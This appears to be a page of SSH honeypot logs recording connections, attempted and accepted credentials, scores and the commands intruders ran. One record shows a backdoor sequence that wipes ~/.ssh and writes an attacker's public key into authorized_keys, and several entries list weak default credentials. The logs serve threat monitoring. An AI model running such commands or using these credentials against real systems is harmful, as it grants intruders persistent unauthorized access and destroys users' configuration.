[obs-node]:~$ hostname

Record ID: b5efc21341b9

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6

{
  "id": "b5efc21341b9",
  "src_ip": "146.185.142.238",
  "start_time": "2026-07-07T04:07:40.671817Z",
  "end_time": "2026-07-07T04:07:41.825501Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "98ddc5604ef6a1006a2b49a58759fbe6",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "iirtheory1!@"
  },
  "commands": [
    "hostname"
  ],
  "detailed_commands": [
    {
      "cmd": "hostname",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

63.46.42.51

2026-07-07 04:07:28.921275 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 92ed2fef5079

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 0.1s

HASSH Fingerprint: fe14ae6404f6783e0d2f9fad48007abd

{
  "id": "92ed2fef5079",
  "src_ip": "63.46.42.51",
  "start_time": "2026-07-07T04:07:28.921275Z",
  "end_time": "2026-07-07T04:07:29.023174Z",
  "duration": "0.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "fe14ae6404f6783e0d2f9fad48007abd",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

135.116.20.17

2026-07-07 04:03:22.539190 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 1f511c1eb36d

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "1f511c1eb36d",
  "src_ip": "135.116.20.17",
  "start_time": "2026-07-07T04:03:22.539190Z",
  "end_time": "2026-07-07T04:03:23.539184Z",
  "duration": "1.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

135.116.20.17

2026-07-07 04:03:20.394156 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 6718679f88bb

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "6718679f88bb",
  "src_ip": "135.116.20.17",
  "start_time": "2026-07-07T04:03:20.394156Z",
  "end_time": "2026-07-07T04:03:22.375983Z",
  "duration": "2.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

45.227.254.170

2026-07-07 04:03:18.594166 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 2f71c358b81a

Client Version: SSH-2.0-PUTTY

Engagement Duration: 0.9s

HASSH Fingerprint: 5bd26477da5440a6187bd3f1b39a429c

{
  "id": "2f71c358b81a",
  "src_ip": "45.227.254.170",
  "start_time": "2026-07-07T04:03:18.594166Z",
  "end_time": "2026-07-07T04:03:19.479035Z",
  "duration": "0.9",
  "version": "SSH-2.0-PUTTY",
  "hassh": "5bd26477da5440a6187bd3f1b39a429c",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

135.116.20.17

2026-07-07 04:03:18.383772 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / zl123456

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: f39859e8b874

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 5.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "f39859e8b874",
  "src_ip": "135.116.20.17",
  "start_time": "2026-07-07T04:03:18.383772Z",
  "end_time": "2026-07-07T04:03:23.534913Z",
  "duration": "5.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "zl123456"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

176.53.159.196

2026-07-07 03:35:46.656602 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: edc13ef26df1

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "edc13ef26df1",
  "src_ip": "176.53.159.196",
  "start_time": "2026-07-07T03:35:46.656602Z",
  "end_time": "2026-07-07T03:35:47.839119Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}